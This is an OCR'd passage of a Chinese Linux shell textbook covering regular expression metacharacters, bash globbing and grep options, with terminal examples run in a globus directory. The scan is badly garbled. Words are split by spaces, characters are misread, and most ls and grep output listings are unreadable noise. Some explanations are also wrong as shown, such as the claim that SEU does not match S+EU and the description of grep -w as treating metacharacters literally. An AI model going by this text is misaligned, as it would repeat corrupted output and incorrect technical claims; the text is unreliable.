实际 上 ， 这 个 正则 表达 式 可 以 匹配 任意 英文 单词 。 
6. A 符号 
“\” 符 号 是 转 义 符 ， 用 于 屏蔽 一 个 元 字符 的 特殊 意义 ， 即 以 字面 含义 来 解释 “\” 符 号 后 
面 的 元 字符 ， 如 : 
# 例 3-12: 转 义 符 
NN 
反 斜 杠 后 面 的 字符 “.” 是 元 字符 ， 经 过 转 义 后 ,“.” 不 再 表示 任意 一 个 字符 ， 而 是 一 个 
普通 字符 句号 “.”。 转 义 符 人” 是 引用 符 的 一 种 ， 我 们 将 在 6.2.3 节 深 入 讨论 它 ， 在 此 不 再 
展开 论述 。 
7，“<>” 符 号 
“< ”符号 是 精确 匹配 符号 ， 该 符号 利用 人 ”符号 屏蔽 “<>” 符 号 ， 如 ; 
# 例 3-13: 精确 匹配 
\<the\> 
华 清 [元 由 华 清 远 见 教育 集团 官网 : www. hqyj. com 
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该 正则 表达 式 精 确 匹 配 the 这 个 单词 ， 而 不 匹配 包含 the 字符 的 单词 ， 如 them、there、 














another 等 。 


8.“\ 人 ”系列 符号 





“ffWN” 系 列 符号 与 “* ”符号 类 似 ， 都 是 表示 前 一 个 字符 的 习 

















重复 0 次 或 任意 次 ， 而 “\f} ”系列 符号 可 以 指定 重复 次 数 ，“\ 人 \} ”系列 


形式 。 
@ \{n\}: 匹配 前 面 字符 出 现 n 次 。 
@ \{n,\}: 亚 配 前 面 字 符 至 少 出 现 n 次 。 


@ \{nm\}: 匹配 前 面 字符 出 现 n~m 次 。 


请 看 下 面 的 例 3-14。 
# 例 3-14: \{\} 系列 符号 的 用 法 










































































JO\{3\}B # 重 复 字 符 O 3 次 
JON{3, \}B # 重 复 字 符 0 至 少 3 次 
WO # 重 复 字 符 O0 3 一 6 次 


JO\{3\}B 表示 重复 字符 0 3 次 ， 匹 配 值 为 : JOOOB。 





JO\{3,\}B 表示 重复 字符 O 至 少 3 次 ，JOOOB、JOOOOB、JOOOOOB 等 字符 串 都 可 





该 正则 表达 式 来 匹配 。 


T 


足 ， 但 是 JOOB、JOOOOOOOB 等 字符 串 就 不 满足 。 


再 举 一 个 例子 : 
例 3-15: 精确 匹配 5 个 小 写字 母 
a=2) VSN 


























是 ，“*” 符 号 表示 
符号 包括 以 下 三 种 























JO\{3,6\}B 表示 重复 字符 O 至 少 3 次 ， 至 多 6 次 ，JOOOB、JOOOOOOB 等 字符 串 都 满 


例 3-15 中 的 表达 式 表示 精确 匹配 5 个 小 号 英文 字母 ， 比 如 hello、house 等 。 

















除了 表 3-1 列 出 的 正则 表达 式 的 元 字符 之 外 ，awk 和 Perl 等 Linux 工具 还 支持 正则 表达 





式 扩 展 出 来 的 一 些 元 字符 ， 这 些 元 字符 如 表 3-2 所 示 。 
表 3-2 ”扩展 的 正则 表达 式 元 字符 及 其 意 》 








匹配 0 个 或 1 个 在 其 之 前 























匹配 1 个 或 多 个 在 其 之 前 























KR 一 个 字符 集合 或 























示 “ 或 ”， 匹 配 一 组 可 j 




















下 面 详细 介绍 扩展 的 正则 表达 式 元 字符 及 其 用 法 。 
1.“?3” 符 号 

匹配 “?” 符 号 之 前 的 那个 字符 0 次 或 1 次， 如: 
例 3-16: ?符号 的 意义 









































华 清 挝 见 清远 见 











集团 官网 : www. hqyj. com 


《Linux Shell 编程 从 初学 到 精通 》 


JO?B 

该 表达 式 表示 匹配 O 字符 0 次 或 1 次 ， 即 匹配 JOB 或 JOOB 。 需 要 注意 的 是 ,“?” 字 符 
至 多 可 以 匹配 1 个 字符 。 

2.“+” 符 号 

与 “*?” 符 号 类 似 ， 都 是 匹配 其 前 面 的 那个 字符 多 次 ， 但 是 ,“*?” 符 号 可 以 匹配 0 次， 而 
“+” 符 号 至 少 匹 配 1 次 ， 如 : 

# 例 3-17: + 符号 的 意义 

S+EU 

该 表达 式 表 示 匹 配 S 1 次 或 任意 次 , SSEU、SSSSEU 等 字符 串 都 可 由 该 表达 式 进行 匹配 ， 
而 SEU 却 不 能 由 S+EU 来 匹配 。 

3.“(0 ”符合 和 “|” 符 号 

“0” 符 号 通常 与 “|” 符 号 结合 使 用 ， 表 示 一 组 可 选 字符 的 集合 ， 如 : 

# 例 3-18: () 符号 和 | 符号 的 意义 

rel(lalelo)d 

该 表达 式 中 的 (alelo) 表 示 在 字符 a、e 和 o 中 选择 任意 一 个 字符 ， 即 read、reed、reod 都 
可 由 该 表达 式 进 行 匹 配 。 

事实 上 ，0 符 号 很 少 使 用 到 ， 因 为 “[]” 符 号 完全 能 够 状 代 “0” 符号 表示 一 组 可 选 字符 
的 集合 ，re(alelo)d 就 等 价 于 re[aeo]d。 

“|” 符 号 也 可 以 表示 多 个 正则 表达 式 的 “或 ”关系 ， 基 本 格式 为 : 

RE RE2 | RES 
上 述 格式 中 ，RE1、RE2 和 RE3 表示 正则 表达 式 。 

“|” 符 号 在 扩展 的 正则 表达 式 中 表示 “或 ”意义 ， 遗 憾 的 是 ,“|” 符 号 的 这 种 用 法 却 很 少 
被 人 记 住 ,，“|” 符 号 最 著名 的 是 其 管道 符 用 法 ， 这 将 在 第 10 章 中 详细 介绍 。 


通 配 个 


bash Shell 本 身 不 支持 正则 表达 式 , 使 用 正则 表达 式 的 是 Shell 命令 和 工具 , 如 grep、sed、 
awk 等 ， 这 些 命令 将 在 本 书后 续 章 节 详 细 介 绍 。 但 是 ，bash Shell 可 以 使 用 正则 表达 式 中 的 一 
些 元 字符 实现 通 配 (Globbing) 功能 ， 通 配 是 把 一 个 包含 通配符 的 非 具体 文件 名 扩展 存储 在 
计算 机 、 服 务 器 或 者 网 络 上 的 一 批 具体 文件 名 的 过 程 。 最 常用 的 通配符 包括 正则 表达 式 元 字 
符 : ?、*、[、 人 个、^ 等 。 这 些 元 字符 在 通 配 中 的 意义 与 正则 表达 式 中 的 意义 不 完全 一 致 ，* 
符号 不 再 表示 其 前 面 字符 的 重复 ， 而 是 表示 任意 位 的 任意 字符 ，? 字 符 表示 一 个 任意 字符 ，^ 
符号 在 通 配 中 不 代表 行 首 ， 而 是 代表 取 反 。 

例如 ， 如 果 一 个 用 户 不 知道 在 一 个 扩展 名 为 :rtf 的 文件 名 中 一 个 人 的 首 名 是 如 何 拼写 的 ， 
是 Philip 还 是 Phillip 。 这 个 用 户 可 以 输入 ; 

人 

下 面 举 几 个 例子 来 说 明 通 配 的 使 用 和 通 配 元 字符 的 意义 ,这 些 例子 都 用 1ls 命令 进行 通 配 ， 
ls 命令 是 Linux 下 最 常用 的 命令 之 一 ， 它 用 于 列 出 目录 下 的 文件 ， 它 可 以 有 很 多 选项 ，ls -1 
表示 列 出 文件 的 详细 信息 ，1 命令 等 价 于 1s -1 命令 。/usr/local/globus 目录 下 的 所 有 文件 如 下 
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所 示 : 


directory 的 意思 ， 寺 
如 果 我 们 仅 需要 列 出 /srlocal/globus 目 
结尾 的 文件 ， 如 下 面 的 例 3-19 所 示 。 


# 例 3-19: 列 出 以 .awk 结 


所 有 以 .awk 








[root@zawu globus]# 11 
总 计 64 

ee rovt odt 
EW root Poot 
二 人 
六 估 an 和 二 root Ge 
= root root 
= 六 于 二 = i 00E 
Em oo 
二 二 二 roGot Ge 
人 root Poot 
WN rovt oDt 
本 过 二 > root rod 
= rovt oot 
Se root Foot 
机 二 下 二 全 全 rovt rodt 
= FG0t E00t 
= root root 
[root@zawu globus]# 
/usrlocal/globus 目录 下 包 















































P4200200/ 06- 辽 
全 的 全 = 
2 人 07 


1 三 
20 SA 
WS 0 423 
4409 .60 0206: 
20095 2220 1 3 
VOLS 3 
2340T0 T5014 
2 4 0 oA 
让 
VS 
网 








2 
edi0 22 ts 

















#globus 目录 下 文件 和 上 








录 的 详细 信息 





1 00.pem 
1 08.pem 
5 11.pem 


57 append.sed 
Beare we 
36 array.awk 


S20BULNED 


15 delete.sed 

:49 environ.awk 
:59 findphone.awk 
57 finephone.awk 
onl wneeelear 
25 pass.awk 

S27 ser2 awk 

41 stephane 

v0 seeeord 








含 一 个 子 目 录 BUILD, 子 目录 的 详细 信息 以 d 开头 ，d 表示 
其 他 以 横 杠 〈-) 开头 的 都 是 文件 。 
录 下 以 .awk 结尾 的 文件 ， 就 可 以 使 用 *.awk 匹配 
































屁 文 件 








的 详细 信息 






















































































的 文件 ， 可 以 使 用 0?.pem 




















列 出 在 a~h 范围 内 以 字母 











以 .awk 















































些 文件 ， 如 下 面 的 例 3-21 所 示 。 














environ.awk 
findphone.awk 


[root@zawu globus]# ls -1 *.awk 

WE roobte root oO oA es 
=£LW=Y==E -= ooo y/o 0 E230 reeay ow 
EW FooterooGq /seo Lom L400 env eonsawe 
SN ES EoOotEoroot 2340 0 le :99 Fineobheonesowk 
SEW=E=E Se root root 234% 10—1514-"9/ finephonedawk 
=¥EW=E==¥E = GE 
EW ao eo 79 10=22 1502 S62.2T: 
root@zawu globus] 

如 果 我 们 需 列 出 以 0 开头 、 后 面 跟 1 个 字符 且 以 .pem 为 后 级 

来 匹配 这 些 文件 ， 如 下 面 的 例 3-20 所 示 。 

例 3-20: 列 出 以 0 开头 、 后 面 跟 1 个 字符 且 以 .pem 为 后 级 的 文件 
root@zawu 9lobus]# ls -1 0?.pem 

三 二 三 三 三 
WE en 
root@zawu globus] 

下 面 举 一 个 用 [符号 进行 通 配 的 例子 ， 若 我 们 需 

结尾 的 文件 ， 我 们 可 以 用 [a-h]*.awk 来 匹配 这 

# 例 3-21: 列 出 以 a~h 范围 内 字母 开头 ， 以 .awk 结尾 的 文件 
eeteraw etobuelt se Ie lowe 

EW Eooteroote 2 0 To 4 rv a 

EW = 一 = 下 SO 

I oo To0E TS 1015 15529 

es EeoE RE 

= ISO 





[root@zawu gl 


obus]# 


finephone.awk 
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例 3-21 的 结果 确实 仅 列 出 以 a~h 范围 内 字母 开头 且 以 .awk 结尾 的 文件 ，pass.awk 和 
scr2.awk 并 未 列 出 .如果 我 们 要 列 出 以 a~h 范围 内 字母 开头 且 句 点 后 不 是 以 .awk 结尾 的 文件 ， 
可 以 使 用 [a-h]*.[^awk]* 来 匹配 这 些 文件 ， 句 点 后 面 方 括号 内 使 用 “^” 符 号 表示 取 反 ， 即 除去 
a、 凤 和 Kk 这 三 个 字母 ， 而 且 最 后 一 个 * 符 号 必 不 可 少 ， 否 则 句点 后 仅 匹 配 一 个 字符 ， 例 3-22 
给 出 了 [a-hj*.[^awk 玉 的 匹配 结果 。 
# 例 3-22: 列 出 以 a~h 范围 内 字母 开头 ， 不 以 .awk 结尾 的 文件 
Leeooeezawu olounsI se da ny ws 
EW lm 2 aendssed 


三 WE 二 ES 
[root@zawu globus] 


由 例 3-22 可 知 ，] 符 号 的 意义 与 正则 表达 式 中 中 符号 的 意义 一 样 ， 那 么 通 配 中 的 花 插 号 
“全 ”表示 何 种 意义 呢 ? 正则 表达 式 中 只 有 在 花 括 号 前 加 上 转 义 符 的 用 法 ， 即 \ 人 } ， 用 于 限制 
匹配 字符 的 个 数 。 但 是 ， 通 配 中 的 全 符号 表示 一 组 表达 式 的 集合 ， 如 : 

{[a-h]*.awk ,0?.pem} 

上 述 通 配 表示 满足 [a-h]*.awk 或 0?.pem 的 所 有 文件 , 下 面 的 例 3-23 给 出 了 这 一 通 配 的 执 
行 结果 


# 例 3-23: 列 出 匹配 [a-h]*.awk 或 0?.pem 的 所 有 文件 
[root@zawu globus]# ls -1 {[a-h]*.awk,0?.pem} 



























































































































































































































































= neo roo M2202007 = 05 -2200oen 
= neooeeroote 2 200 = 05 -2 0 en 
RW Tol oD W200 T5014 roave 

EW EeeEeoee ES 人 

= WE root odt V0 T5140 environe awle 
EW JS oo 23400-10 :S990 Emmeooneonse owk 
RW rootereooee23410 5014 Eneplhioneeawke 


[root@zawu globus]# 

上 述 例 3-23 的 结果 中 既 有 满足 0?.pem 的 00.pem 和 08.pem 两 个 文件 ,也 有 满足 [a-h]*.awk 
的 argv.awk 等 文件 。 注意 ， 和 符号 内 的 表达 式 是 “或 ”的 关系 ， 即 只 要 有 介 符 号 内 的 一 个 表 
达 式 的 文件 ， 就 能 被 列 出 。 
通 配 的 结果 由 计算 机 搜索 厌 量 的 文件 或 者 目录 进行 匹配 而 输出 ， 通 配对 处 理 能 力 和 内 存 
资源 有 很 高 的 需求 。 黑 客 输入 包含 通配符 的 文件 名 故意 让 服务 器 重复 和 连续 不 断 地 进行 通 本 
可 能 引起 的 拒绝 服务 攻击 。 因 此 ， 大 型 服务 器 经 常 通过 限制 服务 器 执行 通 配 功能 的 次 数 、〖 
制 一 个 具体 用 户 每 次 输入 的 通配符 或 者 如 果 通 配 符 太 普 通 ， 则 拒绝 执行 通 配 等 方法 来 提高 
务 器 的 安全 性 。 
部 变量 GLOBIGNORE 保存 了 通 配 时 所 忽略 的 文件 名 集合 ，9.1 节 将 详细 介 乡 
GLOBIGNORE 变量 的 用 法 ， 应 该 说 ，?、*、[]、 仓 、^ 五 个 符号 和 GLOBIGNORE 变量 构成 
了 Shell 通 配 的 所 有 内 容 。 


3.4 grep 命 合 人 


GREP 是 Global search Regular Expression and Print out the line 的 简称 ， 即 全 面 搜索 正则 
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表达 式 并 把 行 打印 出 来 。GREP 是 一 种 强大 的 文本 搜索 工具 ， 它 能 使 用 正则 表达 式 搜索 文本 ， 












































3.4.1 grep 命令 基本 用 法 








grep 命令 是 文 持 正则 表达 式 的 一 个 多 用 途 文本 搜索 工 


grep [选项 ] [模式 ] [文件 .…] 





并 把 匹配 的 行 打印 出 来 , grep 也 是 Linux 中 最 广泛 使 用 的 命令 之 一 。 本 节 重 点 介 
以 及 grep 命令 与 正则 表达 式 结 合 使 用 ， 并 简略 介绍 grep 命令 族 














的 其 他 命令 用 法 








，grep 的 一 般 格 式 为 : 


全 分 


grep 命令 ， 


grep 命令 由 选项 、 模 式 和 文件 三 部 分 组 成 ， 它 在 一 个 或 多 个 文件 中 搜索 满足 模式 的 文本 
行 ， 横 板 后 的 所 有 字符 串 被 看 做 文件 名 ， 文 件 名 可 以 有 多 个 ， 搜 索 的 结果 被 打印 到 屏幕 ， 不 











影响 原文 件 的 内 容 。grep 命令 的 选项 用 于 对 搜索 过 程 进行 补充 说 明 ，grep 命令 的 选项 


义 如 表 3-3 所 示 。 
































及 其 意 
[ 意 





只 输出 匹配 行 的 数量 





搜索 时 忽略 大 小 写 





查询 多 文件 时 不 显示 文件 名 





匹配 的 文件 名 ， 而 不 列 出 具体 的 匹配 行 











的 匹配 行 ， 并 显示 行 号 











:在 或 无 匹配 文本 的 错误 信息 











全 匹配 文本 的 所 有 行 





CL 整 词 








配 整 行 
































递归 搜索 ， 不 仅 搜索 当前 工作 目录 ， 而 且 搜 索 子 目录 











上 输出 任何 结果 ， 以 退出 状态 表示 搜索 是 否 成 功 








打印 匹配 行距 文件 头 部 的 偶 移 量 ， 以 字 贡 为 单位 
































3-b 选项 结合 使 用 ， 打 印 匹 配 的 词 距 文件 头 部 的 偏 移 量 ， 以 字 节 为 单位 














竺 扩展 的 正则 表达 式 











竺 正则 表达 式 ， 按 照 字符 串 的 字面 意思 进行 严 














grep 命令 的 模式 十 分 灵活 ， 可 以 是 字符 串 ， 也 可 以 是 变 
说 明 的 是 ， 无 论 模 式 是 何 种 形式 ， 只 要 模式 中 包含 空格 ， 就 需 
如 果 不 加 双 引 号 , 空格 后 的 单词 容易 被 误 认 为 是 文件 名 ， 如 
hello world 命令 就 将 world 认为 是 文件 名 ， 因 此 ，grep“hello world”filename 才 是 正太 
法 。 大 部 分 情况 下 ， 使 用 单 引 号 将 模式 引起 来 也 是 可 以 的 ， 第 6 章 将 详细 讨论 双 引 号 包 













































































还 可 以 是 正则 表达 式 。 需 要 
使 用 双 引 号 将 模式 引起 来 ， 
普通 字符 串 为 “hello world”，grep 









































的 写 














0 单 引 


号 的 区 别 ， 在 此 ， 我 们 只 简单 告诉 读者 : 一 旦 模式 中 包含 空格 ， 就 需要 使 用 双 引 号 或 单 引 号 








将 模式 引起 来 。 下 面 的 例 3-24 可 以 充分 验证 这 个 观点 。 
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例 3-24: 模式 包含 空格 时 ， 是 否 使 用 双 引 号 的 区 别 
搜索 00 .pem 文件 中 包含 certificate 字符 串 的 行 ， 不 需要 引号 引起 模式 
root@zawu globus]# grep Certificate 00.pem 





The above string is known as your user certificate subject, and it 





To install this user certificate, please save this e-mail message 
fveoumnavesany destionabeouv Ene oeeenftneate coneace 








若 需要 搜索 00 .pem 文件 中 包含 user certificate 字符 串 的 行 

我 们 看 一 看 不 用 引号 将 user certificate 引起 来 的 结果 

root@zawu globus|# grep user certificate 00.pem 

grep: certificate: 没有 那个 文件 或 目录 

Shell 将 certificate 解析 为 文件 名 ,提示 没有 此 文件 的 错误 

下 面 给 出 00 .pem 文件 中 包含 user 字符 串 的 行 

00.pem:The above string is known as your user certificate subject, and it 









































00.pem:uniquely identifies this user. 
00.pem:To install this user certificate, please save this e-mail message 
00.pem: /home/globus/ .globus/usercert .pem 


# 用 引号 将 user certificate 引起 来 后 得 到 正确 的 结果 
[root@zawu globus]# grep "user certificate" 00.pem 
Thnevabove ser usmnown aseyomusermeerbertioate sualeect no 本 让 





To install this user certificate, please save this e-mail message 
[root@zawu globus]# 


例 3-24 首先 搜索 00.pem 文件 中 包含 certificate 字符 串 的 行 ， 由 于 模式 certificate 中 不 包 
含 空格 ， 因 此 ， 是 否 用 引号 引起 模式 对 grep 命令 不 产生 影响 。 当 我 们 要 搜索 00.pem 文件 中 
含 user certificate 字符 串 的 行 时 ， 不 用 双 引 号 将 user certificate 括 起 来 时 ，Shell 提示 没有 
certificate 这 个 文件 或 目录 ， 然 后 ， 给 出 "00.pem 文件 中 包含 user 字符 串 的 行 ， 这 说 明 Shell 
将 grep user certificate 00.pem 这 条 命令 解释 为 在 certificate 和 00.pem 两 个 文件 中 搜索 包含 user 
字符 串 的 行 ， 这 显然 与 我 们 的 初衷 不 符 。 而 当 我 们 用 双 引 号 将 user certificate 括 起 来 后 ， 就 得 
到 了 正确 的 结果 。 
grep 支持 多 文件 查询 ， 请 看 下 面 的 例 3-25 。 
# 例 3-25: 演示 grep 的 多 文件 查询 
[root@zawu globus]# grep Certificate 00.pem 08.pem 
00.pem:This is a Certificate Request file: 
00.pem:Certificate Subject: 


08.pem:Certificate: 
[root@zawu globus]# 


上 例 搜索 00.pem 和 08.pem 两 个 文件 中 包含 Certificate 字符 串 的 行 ， 命 令 逐 个 给 出 待 搜 
索 的 文件 ， 结 果 打 印 出 所 有 包含 Certificate 字符 串 的 行 ， 并 以 文件 名 开头 。 

grep 命令 指定 多 个 文件 时 可 以 使 用 通 配 ， 这 样 就 不 必 逐 个 给 出 待 搜索 的 文件 了 ， 例 3-25 
的 命令 可 以 改 成 如 例 3-26 所 示 的 等 价 命令 。 

# 例 3-26: 用 通 配 表示 多 文件 


[root@zawu globus]# grep Certificate 0?.pem 
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00.pem:This is a Certificate Request file: 
00.pem:Certificate Subject: 
08.pem:Certificate: 

[root@zawu globus]# 


上 例 利用 0?.pem 代替 了 00.pem 和 08.pem 两 个 文件 ， 显 得 十 分 简洁 。 
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表 3-3 已 经 列 出 了 grep 命令 的 选项 , 下 面 我 们 结合 具体 例子 逐个 说 明 grep 选项 的 含义 和 


1. -c 选项 








-c 选项 表示 输出 匹配 字符 串 行 的 数量 , 默认 情况 下 ，grep 命令 打印 出 包含 模式 的 所 有 行 ， 








旦 加 上 -ce 选项 ， 就 只 显示 包含 模式 行 的 数量 ， 下 面 给 日 




















# 例 3-27: grep -c 的 用 法 











[root@zawu globus] 
00.pem:2 
08.pem:1 
leern lL 
[root@zawu globus]# 


grep ec CerGlfiecate “pem 





一 个 使 用 -c 选项 的 例子 。 


#00.pem 交 件 中 有 2 行 包 合 Certificate 








例 3-27 对 当前 目录 下 所 有 .pem 的 文件 查找 Certificate 关键 字 ， 指定 文件 使 用 了 通 配 ， 结 
果 00.pem:2 表示 00.pem 中 有 2 行 包含 关键 字 Certificate，08.pem 和 11.pem 各 有 1 行 包 含 关 
键 字 Certificate 。 


2. -hn 选项 











-n 选项 列 出 所 有 的 匹 


行 的 内 容 ， 搜 索 多 个 文件 时 
显示 行 号 ， 下 面 给 












































# 例 3-28: grep -n 的 用 法 








[root@zawu globus] 


grep nOoertifieate “pem 


Q0PBem: FF Lhe oN tererfrecate REdUsS Ernie: 


00.pem:7:Certificate Subject: 
08.pem:1:Certificate: 
11.pem:1:Certificate: 


[root@zawu globus]# 


例 3-28 仍然 对 当前 目录 下 所 有 .pem 的 文 伯 


00.pem 文件 的 第 1 行 包 含 Certificate 关键 字 , 并 列 出 00.pem 的 外 

















和 11.pem 的 搜索 也 同样 显示 了 行 号 。 


3. -Vv 选项 





























#00 .pem 文件 的 第 1 行 











配 行 ， 并 显示 行 号。 默认 情况 下 , “grep 搜索 单个 文件 时 ， 只 显示 每 
， 显 示 文件 名 及 每 行 的 内 容 ， 加 _ 上 sn 选项 后 ， 将 在 行内 容 前 附加 
一 个 使 用 -n 选项 的 例子 。 

















F 查 找 Certificate 关键 字 ， 结 果 00.pem:1: 表 示 





入 1 行 具体 内 容 。 对 于 08.pem 


-Vv 选项 显示 不 包含 模式 的 所 有 行 ， 下 面 给 出 一 个 使 用 -v 选项 的 例子 。 


# 例 3-29: grep -v 的 用 法 














[root@zawu globus] 
00.pem:39 
08.pem:50 
11.pem:50 
[root@zawu globus]# 


例 3-29 结合 使 用 -v 和 -c 参数 列 出 00.pem 文件 


grep -ve Certificate *.pem 





#00 .pem 文件 中 有 39 行 不 包含 certificate 字符 串 











00.pem:39 表示 00.pem 文件 中 有 39 行 不 包含 Certificate 字 
同时 使 用 多 个 选项 。 


4. -i 选项 
默认 情况 下 ，grep 命 











令 对 大 小 写 是 


写 ， 下 面 给 出 一 个 使 用 -i 选项 的 例子 。 


# 例 3-30: grep -i 的 用 法 














[root@zawu globus] 


green = Weertl ereate O00 em 











# 同 时 使 用 -v 和 -c 选项 











Ar 吕 











不 包含 Certificate 关键 字 的 行 数 ， 结 果 


符 串 。 例 3-29 还 说 明 grep 命令 可 





从 








远见 教 



































敏感 的 ， 如 果 加 上 -i 选项 就 表示 grep 命令 不 区 分 大 小 
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This is a Certificate Request file: 


Certificate SubJecet: 

The above string is known as your User certificate subject, and it 
To install this user certificate, please save this e-mail message 
fvounmmavenany questions aboue ene eee nied oncae 





root@zawu globus]# 
上 例 在 00.pem 文件 中 搜索 不 区 分 大 小 写 的 certificate 字符 串 的 所 有 行 ， 可 以 看 出 ， 结 果 
匹配 到 Certificate、CERTIFICATE 等 关键 字 。 

5. -h 选项 

-h 选项 表示 查询 多 文件 时 不 显示 文件 名 ， 上 默认 情况 下 ，grep 命令 查询 多 个 文件 时 ， 在 匹 
配 行 之 前 显示 文件 名 ， 加 上 -h 选项 后 ，grep 命令 将 不 再 显示 文件 名 。 下 面 给 出 一 个 使 用 -h 先 
项 的 例子 。 

# 例 3-31: grep -h 的 用 法 

[root@zawu globus]# grep -h Certificate *.pem 


ne i el COE Rm Pe: # 在 匹配 行 前 不 再 显示 文件 名 了 
Certificate Subject: 





































































































Certificate: 
Certificate: 
[root@zawu globus]# 


例 3-31 仍然 是 在 当前 目录 下 所 有 .pem 的 文件 中 查找 Certificate 字符 串 ， 加 上 -h 后 ,结果 
就 上 只 显示 匹配 行 的 内 容 ， 而 不 显示 文件 名 。 注 意 例 3-31 与 例 3-28 中 grep 打印 结果 的 区 别 。 































































































6. -| 选项 
-1 选项 表示 只 列 出 符合 匹配 的 文件 各 和 而 不 列 出 具体 匹配 行 ， 下 面 给 出 一 个 使 用 -选项 
的 例子 。 


例 3-32: grep -1 的 用 法 


rootQzawo oloBuslt orep Cerbifioate 











00 .pem # 只 显示 包含 Certificate 字符 串 的 文件 名 
08 .pem 
1 .pem 


root@zawu globus]# 
网 3-32 的 命令 用 于 搜索 当前 目录 下 所 有 的 文件 中 包含 Certificate 字符 串 的 文本 行 ， 加 上 
-选项 后 ， 在 结果 中 不 再 显示 具体 的 匹配 行 ， 只 列 出 包含 Certificate 字符 串 的 文件 名 。 
7. -s 选项 
-s 选项 表示 不 显示 不 存在 或 无 匹配 文本 的 错误 信息 ， 默 认 情 况 下 ，grep 在 待 搜索 文件 不 存 
在 或 搜索 不 到 符合 模式 的 文本 行 时 将 打印 错误 信息 。 下 面 给 出 一 个 使 用 -s 选项 前 后 比较 的 例子 。 
# 例 3-33: grep -s 的 用 法 
[root@zawu globus]# grep user certificate 00.pem  # 未 使 用 -s 选项 


grep: certificate: 没有 那个 文件 或 目录 # 打 印 了 错误 信息 
00.pem:The above string is known as your user certificate subJject, and it 
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00.pem:uniquely identifies this user. 

00.pem:To install this user certificate, please save this e-mail message 

QO Pem:/ homne/gloBus/ :lobUus/ Usercert em 

[root@zawu globus]# grep -s user certificate 00.pem # 使 用 -s 选项 后 ， 不 打印 错误 信息 
QOrpem>The albove String Lis kneown as Vour User certifieate subJect andie 
00.pem:uniquely identifies this user. 
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00.pem:To install this user certificate, please save this e-mail message 
QO em:/heomne/gloBus/ looue/usercert em 
[root@zawu globus]# 


例 3-33 给 出 同样 的 命令 使 用 -s 选项 前 后 的 结果 , 两 条 命令 都 是 在 certificate 和 00.pem 两 
个 文件 中 搜索 user 字符 串 ， 当 未 使 用 -s 选项 时 ， 提 示 certificate 文件 不 存在 的 错误 信息 ， 但 
是 ， 在 grep 后 加 上 -s 选项 后 ， 就 不 再 打印 错误 信息 了 。 

8. -选项 

默认 情况 下 ，grep 命令 只 对 当前 目录 下 的 文件 进行 搜索 ， 而 不 对 子 目 录 中 的 文件 进行 搜 
索 。-r 选项 表示 递归 搜索 ， 不 仅 搜 索 当 前 目录 ,而且 搜索 子 目 录 。 下 面 举 一 个 -r 选项 的 例子 。 

# 例 3-34: grep =- 的 用 法 

[to0otCzZawt globus]t grep rr CRRIIETCATEN* 

QO em ee BEGIN CERTIFICATE REQUEST===-=— 

OO em END CERTIFICATE REQUEST-———— 

enen ss BECEN CSSDEREC2TE =———= 

本 TREE 一 一 一 一 二 

1 aes 三 三 三 三 三 BEGTN CERTEEFLCATE ———=— 


11.pem:----- END CERTIFICATE----- 
# 以 下 是 对 子 目录 BUILD 中 文件 的 搜索 结果 









































































































































[root@zawu globus] 
例 3-34 对 当前 目录 递归 搜索 CERTIFICATE 字符 串 , 不 仅 列 出 当前 目录 下 文件 的 搜索 结 
果 ， 还 列 出 了 子 目录 BUILD 下 文件 包含 CERTIFICATE 字符 串 的 文本 行 。 
9. -w 和 -x 选项 
grep 命令 的 模式 是 支持 正则 表达 式 的 ,正则 表达 式 的 元 字符 将 被 解释 成 特殊 的 含义 ，-w 
选项 表示 匹配 整 词 ， 即 以 模式 的 字面 含义 去 解析 它 。 因 此 ，grep 命令 使 用 -w 选项 后 ， 元 字符 
不 再 被 解释 为 特殊 含义 ， 下 面 的 例子 说 明了 -w 选项 的 功能 : 
例 3-35: grep -w 的 用 法 
root@zawu globus]# grep cer* 00.pem # 搜 索 包 含 以 cer 开头 字符 串 的 文本 行 
有 4 行文 本 满足 条 件 
The above strine ts renowmoas vourmmsernesretfteate salect Emo 
onstalltnns er cererfliecate oleoase save Cnls ee mamimesesage 






























































/home/globus/.globus/usercert .pem 
Pioveounmmaveany aquestroms abou thne reererireate eonmntaet 





加 上 -w 选项 后 ， 表 示 搜 索 包含 cer* 字 符 串 的 文本 行 
root@zawu globus]# grep -w cer* 00.pem 
root@zawu globus]# # 没 有 满足 该 条 件 的 文本 行 


上 例 两 条 命令 的 模式 都 为 cer*， 当 未 用 -w 选项 时 ， 模 式 中 的 * 被 解析 为 任意 字符 ， 即 搜 
索 包 含 以 cer 开头 字符 串 的 文本 行 ，00.pem 文件 共有 4 行文 本 满足 该 条 件 ; 加 上 -w 选项 后 ， 
* 被 解析 为 字面 含义 ， 表 示 搜 索 包 含 cer* 字 符 串 的 文本 行 ，00.pem 文件 不 包含 cer* 这 一 完整 
的 学 符 串 。 因 此 ， 无 任何 结果 输出 。 

-x 选项 是 匹配 整 行 ， 即 只 有 当 文 件 中 有 整 行内 容 与 模式 匹配 时 ，grep 命令 才 输 出 该 行 结 
果 ， 下 面 的 例 3-36 说 明 grep 命令 的 -w 和 -x 选项 的 区 别 。 


# 例 3-36: 说 明 grep 命令 的 -w 和 -x 选项 的 区 别 
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[root@jselab shell-book]# cat world.txt # 第 1 条 命令 : 查看 world .txt 内 容 
Hello World 

We el 

ware lel Qa 

DE Ee 


One One Woxld 
# 第 2 条 命令 : 搜索 包含 单词 “Wor1ld” 的 文本 行 
[rootegselab shel boorltlagree Were wo Et 











Hello World # 所 有 包含 单词 “World” 的 文本 行 都 被 输出 
World 
We al ene 


One One World 
# 第 3 条 命令 :搜索 整 行文 本 是 单词 “Wor19” 的 行 

[root@jselab shell-book]# grep -x 'World' world.txt 
World # 只 有 此 行 满足 条 件 
[root@jselab shell-book]# 


例 3-36 中 ，world.txt 有 5 行文 本 ， 第 2 条 命令 在 world.txt 文件 中 搜索 包含 单词 “World” 
的 文本 行 ， 结 果 列 出 4 行 满足 条 件 的 文本 行 。 但 是 ， 第 3 条 命令 在 world.txt 文件 中 搜索 整 行 
文本 是 单词 “World” 的 行 时 ， 只 有 一 行 满足 条 件 。 可 以 看 出 ，-w 选项 搜索 的 是 整 词 匹配 ， 
而 -x 选项 搜索 的 是 整 行 匹配 。 

10. -q 选项 

从 上 面 的 讲解 中 知道 ，grep 命令 默认 情况 下 是 输出 结果 的 ， 但 是 ，grep 命令 后 一 旦 加 上 
-q 选项 ，grep 将 不 再 输出 任何 结果 ， 而 是 以 退出 状态 表示 搜索 是 否 成 功 ， 退 出 状态 0 表示 搜 
索 成 功 ， 退 出 状态 1 Re Us md ， 退 出 状态 2 表示 命令 或 程序 由 于 错误 
